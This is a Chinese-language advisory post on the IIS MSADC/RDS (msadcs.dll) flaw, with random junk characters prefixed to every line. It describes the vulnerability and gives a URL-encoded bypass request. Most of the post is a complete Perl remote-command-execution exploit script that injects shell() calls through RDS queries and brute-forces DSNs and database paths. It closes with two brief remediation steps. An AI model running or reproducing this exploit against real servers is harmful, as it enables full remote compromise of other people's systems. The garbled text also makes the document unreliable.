IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
8w:mL^6x N~ CQh=< 涉及程序：
|^U QVNJ Microsoft NT server
)^s> 2 1 ;7?oJH; 描述：
H,w8+vZ4\ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
wZ\9 3W-} 9=]HOU n 详细：
=0Y0o_ 如果你没有时间读详细内容的话，就删除:
UR _ Ty59 c:\Program Files\Common Files\System\Msadc\msadcs.dll
`Kf@<= 有关的安全问题就没有了。
^"
g?m p19(>|$J 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
.$ x}~Sw ojf6@p_ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
<5pNFj}0;X 关于利用ODBC远程漏洞的描述，请参看:
Tr:@Dv.O *v K~t|z http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a B MV6' S$fS|N3]% 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
e4Y+u8gT http://www.microsoft.com/security/bulletins/MS99-025faq.asp =UK:83R( E2w-b^,5 这里不再论述。
'*rS, y K g#Bg## 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Tb?X KO, _ $@fCo0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ineSo8| @ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
27c0wz q t!/~_}eD J exi u;\+j #将下面这段保存为txt文件，然后: "perl -x 文件名"
zzI,iEG
gvo98Id #!perl
NR_3nt^h #
GiuE \J9i # MSADC/RDS 'usage' (aka exploit) script
`V V >AA5 #
iz/CC V L # by rain.forest.puppy
|&Mo Qxw@ #
TK'
5NM+4 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
M\CzV$\y # beta test and find errors!
&o t^+uVH <>n|_6'$90 use Socket; use Getopt::Std;
7i xG{yu getopts("e:vd:h:XR", \%args);
kDm uj>D vqf}( /.D print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$+4 4US [3-u7Fx! if (!defined $args{h} && !defined $args{R}) {
.Er +*j;&w print qq~
1/:vFX Usage: msadc.pl -h <host> { -d <delay> -X -v }
6-"tQ,AZ -h <host> = host you want to scan (ip or domain)
diM*jN# -d <seconds> = delay between calls, default 1 second
s-WZ3g -X = dump Index Server path table, if available
jJ<&!= -v = verbose
'\8YH+%It -e = external dictionary file for step 5
[Ca''JqrA I$+=Fb'N0 Or a -R will resume a command session
O
]
!tK PV"\9OIKb. ~; exit;}
iN 'T^+um= C T|0KB& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ZR3,dW6S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
X 4hz\={ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
[T7&)p if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
x<!]#**; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
wj}LVyV if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<eSg%6z dPpQCx f if (!defined $args{R}){ $ret = &has_msadc;
zB+e;x f | die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
@]~.-(IMh x@oxIXN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Kz q^f=p . "cmd /c ";
ynMYf $in=<STDIN>; chomp $in;
OMjPC_ $command="cmd /c " . $in ;
hC<E 4+5., mpwh= if (defined $args{R}) {&load; exit;}
{_\dwe9 5X];?(VTsb print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Px?"5g#+ &try_btcustmr;
1nvT={'R [Pp#r&4H print "\nStep 2: Trying to make our own DSN...";
*!`&+w &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
X{!, j} R'B_YKHBY print "\nStep 3: Trying known DSNs...";
J7 {D6@yLS &known_dsn;
o+}1M X~o;jJC print "\nStep 4: Trying known .mdbs...";
'NjeF &known_mdb;
&DYC3*)Jih ~ 0-)S@ if (defined $args{e}){
pl,XS6mB print "\nStep 5: Trying dictionary of DSN names...";
j&S.k &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
#Cs/.(< 7W4m&+ print "Sorry Charley...maybe next time?\n";
M9Sj@ ww exit;
8#A4 B2 \A\?7#9\ ##############################################################################
2,I]H'}^ _M7|:* sub sendraw { # ripped and modded from whisker
INk|NEX sleep($delay); # it's a DoS on the server! At least on mine...
o%lxEd r my ($pstr)=@_;
h'G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wt@TR~a die("Socket problems\n");
IR2Qc6+{ if(connect(S,pack "SnA4x8",2,80,$target)){
0lq?l:/ select(S); $|=1;
Bo
ywgL| print $pstr; my @in=<S>;
6f#Mi+" select(STDOUT); close(S);
Moi RAO return @in;
+Gy9K } else { die("Can't connect...\n"); }}
FR' Nzi $ L5d
YTLY ##############################################################################
QjpJIw "BpDlTYM sub make_header { # make the HTTP request
"#8^":,4 my $msadc=<<EOT
?AxB0d9z POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
9 '|k@i: User-Agent: ACTIVEDATA
oGeV!hD Host: $ip
rB( Q)N Content-Length: $clen
A
-8]4p:: Connection: Keep-Alive
r_bG+iw7p 7bGt'gvv ADCClientVersion:01.06
r0&LjH&R Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4C:dkaDq] {4[dHfIy --!ADM!ROX!YOUR!WORLD!
^ -~=U^2tC Content-Type: application/x-varg
2|RxowXZ" Content-Length: $reqlen
^l
;Bo3^_ !_c6 `oW EOT
z8 D ,[` ; $msadc=~s/\n/\r\n/g;
I) *J,hs1 return $msadc;}
_E-{*,7bZS 6b` Jq>v ##############################################################################
6+s&%io4 $j(4FyH\ sub make_req { # make the RDS request
X9" T(` my ($switch, $p1, $p2)=@_;
f D_3lbiL( my $req=""; my $t1, $t2, $query, $dsn;
^pfM/LQ@ 8"ZcK xDk if ($switch==1){ # this is the btcustmr.mdb query
v {1g`E $query="Select * from Customers where City=" . make_shell();
4>Q] \\Lc $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
jt3W.^6HO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
XWz~ *@ci 67Tu8I /r elsif ($switch==2){ # this is general make table query
#t# S(A9) $query="create table AZZ (B int, C varchar(10))";
l9 6 AJB' $dsn="$p1";}
qM^y@B2MO 0f+]I=1\ elsif ($switch==3){ # this is general exploit table query
0,__{? ! $query="select * from AZZ where C=" . make_shell();
wt_ae|hv $dsn="$p1";}
">fRM= fl chuJj
IY elsif ($switch==4){ # attempt to hork file info from index server
n*|8 (fD $query="select path from scope()";
1T,Bd!g $dsn="Provider=MSIDXS;";}
%>O}bdSf Xpkj44cd@ elsif ($switch==5){ # bad query
>A 6PH*x $query="select";
%2G3+T8*x $dsn="$p1";}
%md9ou` % 1<@p%y/ $t1= make_unicode($query);
.Z 17X_ $t2= make_unicode($dsn);
4h}\Kl $req = "\x02\x00\x03\x00";
IL*MB;0> $req.= "\x08\x00" . pack ("S1", length($t1));
J04R,B $req.= "\x00\x00" . $t1 ;
\naG $req.= "\x08\x00" . pack ("S1", length($t2));
:2{ [f+ $req.= "\x00\x00" . $t2 ;
V*6& GM& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
98{n6$\ return $req;}
Ut2x4$9 1o ##############################################################################
AMK3I`=8WO N =8CVI sub make_shell { # this makes the shell() statement
p1z ^i( return "'|shell(\"$command\")|'";}
QX(t@V P f,-'eW/j ##############################################################################
1_n5: @$!"}xDR' sub make_unicode { # quick little function to convert to unicode
d _=44( - my ($in)=@_; my $out;
y dzvj p= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
; O z
p return $out;}
fX&g. f H M|$A)D1 ##############################################################################
R*vfp ?x >4T7D My sub rdo_success { # checks for RDO return success (this is kludge)
MF::At[4 my (@in) = @_; my $base=content_start(@in);
k@9q5lu;T if($in[$base]=~/multipart\/mixed/){
2+LvlS)C return 1 if( $in[$base+10]=~/^\x09\x00/ );}
U4e9[=q`' return 0;}
z-S8s2.Fd `3UvKqe ##############################################################################
]RW*3X O=Vj*G , sub make_dsn { # this makes a DSN for us
23zR0z (L my @drives=("c","d","e","f");
-]Oi/i, { print "\nMaking DSN: ";
wS:`c
J foreach $drive (@drives) {
F2 =#\U$ print "$drive: ";
QVN @B[9 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
$)(Zt^ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
@Z~0!VY . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Ti5"a<R4m6 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3 SOrM return 0 if $2 eq "404"; # not found/doesn't exist
x C>>K6Nb if($2 eq "200") {
00A2[g O9 foreach $line (@results) {
vmtmiN8;d return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
bgmOX&`G } return 0;}
|Gb~[6u w:9n/[ ##############################################################################
^`(3 X X*: )]p(R sub verify_exists {
c5HW.3" my ($page)=@_;
LS1}j WU! my @results=sendraw("GET $page HTTP/1.0\n\n");
gHU0Pr9 ' return $results[0];}
s3 gT6 & =vi]z:[ ##############################################################################
z#olKBs MCfDR#a sub try_btcustmr {
M5LqZyY my @drives=("c","d","e","f");
55x. Q my @dirs=("winnt","winnt35","winnt351","win","windows");
k%cT 38V* F BI^}^#_ foreach $dir (@dirs) {
a^9}ceu? print "$dir -> "; # fun status so you can see progress
&R}2/Mt foreach $drive (@drives) {
/vFdhh print "$drive: "; # ditto
`ve5>aw0_Y $reqlen=length( make_req(1,$drive,$dir) ) - 28;
4*+ )D8 $reqlenlen=length( "$reqlen" );
T (eNK
c2 $clen= 206 + $reqlenlen + $reqlen;
} nNCg H r6`K Z TU my @results=sendraw(make_header() . make_req(1,$drive,$dir));
,tOc+3Qz$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^(yU)k3pu else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
zDA;FKZPp 0o&7l %Y/ ##############################################################################
k%ckV`y lV<j?I~?Q sub odbc_error {
+Tp>3Jh 2 my (@in)=@_; my $base;
>1d`G%KfG my $base = content_start(@in);
GVzG if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
;(9q, ) $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X9n},} bJ" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
yi3Cd@t({{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
`Jon^&^;| return $in[$base+4].$in[$base+5].$in[$base+6];}
"zBYh Zr print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Yf,U2A\ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/=ro$@ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ZZ{:f+=?$ @Vac!A??: ##############################################################################
'>5W`lZ Q68q76 sub verbose {
>`c-Fqk my ($in)=@_;
D[ (A`!) return if !$verbose;
iOzY8M+N( print STDOUT "\n$in\n";}
g)#neEA J }zu?SZH ##############################################################################
F2RU7o'f. 8!{F6DG sub save {
re\&'%~K my ($p1, $p2, $p3, $p4)=@_;
Kr'5iFK7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
p+ bT{: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
\> *B close OUT;}
=E''$b?Em Wr Nm:N ##############################################################################
vEIDf { # Y;_W;# sub load {
z<c@<M=Q* my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]%VR Nm open(IN,"<rds.save") || die("Couldn't open rds.save\n");
6{p] cr @p=<IN>; close(IN);
*^q%b / f $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
z tLP {q# $target= inet_aton($ip) || die("inet_aton problems");
2p Er
s|r print "Resuming to $ip ...";
w8df-]r $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
"eiZZSz if($p[1]==1) {
]ozZW: $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~ g \GC $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
E/</ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Eh&et0&=g if (rdo_success(@results)){print "Success!\n";}
,f;YJHEx8 else { print "failed\n"; verbose(odbc_error(@results));}}
HG/`5$L
+} elsif ($p[1]==3){
!!4` #Z0+# if(run_query("$p[3]")){
W7QcDR y6 print "Success!\n";} else { print "failed\n"; }}
7C%z 0 / elsif ($p[1]==4){
^%V^\DK if(run_query($drvst . "$p[3]")){
vf+GC*f print "Success!\n"; } else { print "failed\n"; }}
l |c# exit;}
B~oc.s g .6m%/-whS ##############################################################################
I 8C(z1(N ;LM,<QJ sub create_table {
R7 )2@ ;i my ($in)=@_;
jF}u%T)HL $reqlen=length( make_req(2,$in,"") ) - 28;
1 U|IN= $reqlenlen=length( "$reqlen" );
<TL!iM $clen= 206 + $reqlenlen + $reqlen;
`c zL$tN<P my @results=sendraw(make_header() . make_req(2,$in,""));
6 ZutU ~HS return 1 if rdo_success(@results);
%,G&By& , my $temp= odbc_error(@results); verbose($temp);
k/&~8l .$ return 1 if $temp=~/Table 'AZZ' already exists/;
W xB}Uh return 0;}
I$7 #Z!P6| [4u.*oL& ##############################################################################
M~Tx 4_t F|t3%dpj sub known_dsn {
Uk=-A
@q # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
lj{J w.t my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
38 Q>x "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
mlsM; A d2 "banner", "banners", "ads", "ADCDemo", "ADCTest");
Gy+/P6 VfK8')IXk foreach $dSn (@dsns) {
G(2(-x"+ print ".";
9U [
A next if (!is_access("DSN=$dSn"));
<g SZ t\ if(create_table("DSN=$dSn")){
|2#)lGA print "$dSn successful\n";
8cV3VapF if(run_query("DSN=$dSn")){
aXAV`%b print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%jgB;Y print "Something's borked. Use verbose next time\n";}}} print "\n";}
0= 3Av8 umt*;U= ##############################################################################
6 XZF8W {s8v0~ sub is_access {
KiXR BFo my ($in)=@_;
&Ff#E?Y4| $reqlen=length( make_req(5,$in,"") ) - 28;
,P&.qg i=( $reqlenlen=length( "$reqlen" );
vhA 4ol $clen= 206 + $reqlenlen + $reqlen;
W+v7OSd92 my @results=sendraw(make_header() . make_req(5,$in,""));
~(( '1+ my $temp= odbc_error(@results);
B:-qUuS?R verbose($temp); return 1 if ($temp=~/Microsoft Access/);
KCE5Z?k return 0;}
F|,_k %QP r5h+_&v,M ##############################################################################
jea{BhdUr sp=;i8Y 3 sub run_query {
?C%mwW3pc my ($in)=@_;
F }/t V 7m $reqlen=length( make_req(3,$in,"") ) - 28;
Pz +2(Z $reqlenlen=length( "$reqlen" );
Q{s9{ $clen= 206 + $reqlenlen + $reqlen;
i&%~:K* my @results=sendraw(make_header() . make_req(3,$in,""));
; L <D- = return 1 if rdo_success(@results);
4' Sv io my $temp= odbc_error(@results); verbose($temp);
(#uz_/xXa return 0;}
=UGyZV:z5 !fwMkws ##############################################################################
cPFs K*w avJ%J"j8z sub known_mdb {
4 f)B@A - my @drives=("c","d","e","f","g");
k0@b"y* my @dirs=("winnt","winnt35","winnt351","win","windows");
4=BIYC"Lu my $dir, $drive, $mdb;
?Xdb%. my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#qx$ p d:j65yu # this is sparse, because I don't know of many
zSJSus my @sysmdbs=( "\\catroot\\icatalog.mdb",
ku8C#%.m3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
>s 5i "\\system32\\certmdb.mdb",
{`-f<>N3 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
hH&A1 vUv 2.,4b- ^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
n(#| "\\cfusion\\cfapps\\forums\\forums_.mdb",
]0Y5 Z)3:z "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
gK_^RE9~ "\\cfusion\\cfapps\\security\\realm_.mdb",
DG%vEM,y "\\cfusion\\cfapps\\security\\data\\realm.mdb",
No|T#=BZ[ "\\cfusion\\database\\cfexamples.mdb",
U*p;N,SjQ "\\cfusion\\database\\cfsnippets.mdb",
Gr),o6}p "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
e-Pn,j "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
E.V lz^B "\\cfusion\\brighttiger\\database\\cleam.mdb",
kYW>o}J| "\\cfusion\\database\\smpolicy.mdb",
-z s5WaJn/ "\\cfusion\\database\cypress.mdb",
W@b Z~Q9 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
]
I&l0Fx "\\website\\cgi-win\\dbsample.mdb",
3xhGmD\SKO "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
qKSS 2f $ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(dH "b
* ); #these are just
6Z}8"VJr { foreach $drive (@drives) {
5YZh e4R foreach $dir (@dirs){
fTq/9=Rq4 foreach $mdb (@sysmdbs) {
4X}.aZO&b print ".";
*eF'<._[U if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
tg R4C#a print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
~x-"? K if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Ha)Vf +W print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
pO_$ 8=G+ } else { print "Something's borked. Use verbose next time\n"; }}}}}
M:5K4$>Kx dvW2X foreach $drive (@drives) {
* ^+]`S foreach $mdb (@mdbs) {
]jB`"to*} print ".";
-4;$NiB? if(create_table($drv . $drive . $dir . $mdb)){
X21k7 Ls print "\n" . $drive . $dir . $mdb . " successful\n";
6?BV J if(run_query($drv . $drive . $dir . $mdb)){
wni^qs.i@3 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
-$A
>b8 } else { print "Something's borked. Use verbose next time\n"; }}}}
p0|PVn.^h }
O30eq 7( O{<uW- ##############################################################################
75"&"*R/*G k9*6`w sub hork_idx {
"n, %Hh print "\nAttempting to dump Index Server tables...\n";
~_]i'i i8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
yt4sg/] : $reqlen=length( make_req(4,"","") ) - 28;
Ai*+LSG $reqlenlen=length( "$reqlen" );
r+W ;}nyf $clen= 206 + $reqlenlen + $reqlen;
<9/?+) my @results=sendraw2(make_header() . make_req(4,"",""));
U>-GM > if (rdo_success(@results)){
W[G5+*i my $max=@results; my $c; my %d;
Y(<(!TJ- for($c=19; $c<$max; $c++){
7%sx ["%@ $results[$c]=~s/\x00//g;
oB8LJZ; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Q>yO,H| $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Nt Dxwzj $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
KX^! t3l6 $d{"$1$2"}="";}
Z Wb\^N foreach $c (keys %d){ print "$c\n"; }
"MPr'3 } else {print "Index server doesn't seem to be installed.\n"; }}
S] R.:T_% 3n)\D<f ]# ##############################################################################
9zD,z+ NcyE_T sub dsn_dict {
(Rs|"];?Z open(IN, "<$args{e}") || die("Can't open external dictionary\n");
jV.9d@EC while(<IN>){
,ieew` $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
d9.I83SS next if (!is_access("DSN=$dSn"));
Jz@2?wSp if(create_table("DSN=$dSn")){
g?gF*^_0 print "$dSn successful\n";
[+wLy3_ if(run_query("DSN=$dSn")){
tL\L4>^7T print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}Ryrd!3bY print "Something's borked. Use verbose next time\n";}}}
FfM,~s<Efz print "\n"; close(IN);}
dk_ ! ~Z ehV}}1>O ##############################################################################
bcUa'ZfN< j-k]|0ea} sub sendraw2 { # ripped and modded from whisker
|H'wDw8 sleep($delay); # it's a DoS on the server! At least on mine...
/_V4gwb}|- my ($pstr)=@_;
@ [<B:Tqo socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l ~n=_R3 die("Socket problems\n");
l}XnCOIT, if(connect(S,pack "SnA4x8",2,80,$target)){
b" kL)DL1L print "Connected. Getting data";
-uhg7N[3 open(OUT,">raw.out"); my @in;
a\xf\$Ym select(S); $|=1; print $pstr;
iHk /#a while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
ZJOO*S close(OUT); select(STDOUT); close(S); return @in;
}UWi[UgA } else { die("Can't connect...\n"); }}
,F?O} ijk yUX<W'-Hev ##############################################################################
]DK.4\^ ,L;%-}#$ sub content_start { # this will take in the server headers
D%h_V>#z my (@in)=@_; my $c;
J8@7
5p 9 for ($c=1;$c<500;$c++) {
#RWmP$+#= if($in[$c] =~/^\x0d\x0a/){
MNH-SQB | if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ze3sc$fG2 else { return $c+1; }}}
BUU ) Sz return -1;} # it should never get here actually
]Vd1fkXO0 w!/|aZ~* ##############################################################################
DC,]FmWs!+ :pGgxO% q sub funky {
r^ +n06[
my (@in)=@_; my $error=odbc_error(@in);
`m \l#r 2C if($error=~/ADO could not find the specified provider/){
FK,Jk04on print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0Rz",Mu> exit;}
F=V_ ACU if($error=~/A Handler is required/){
FfibR\dhY print "\nServer has custom handler filters (they most likely are patched)\n";
2- DJ3OL]k exit;}
! 345 if($error=~/specified Handler has denied Access/){
rE4qPzL print "\nServer has custom handler filters (they most likely are patched)\n";
eS; W> d exit;}}
; d :i OIrr'uNH ##############################################################################
c3|/8 h 7*#;j sub has_msadc {
8@BN6 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
z1~FE my $base=content_start(@results);
c7/fQc)h4d return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
m95;NT1N/g return 0;}
J7$JW3O <dX7{="& ########################
1/ vcj~|)t uz@WW!+o
*egA x 解决方案：
?KXgG' !! 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]?j[P=\ 2、移除web 目录: /msadc
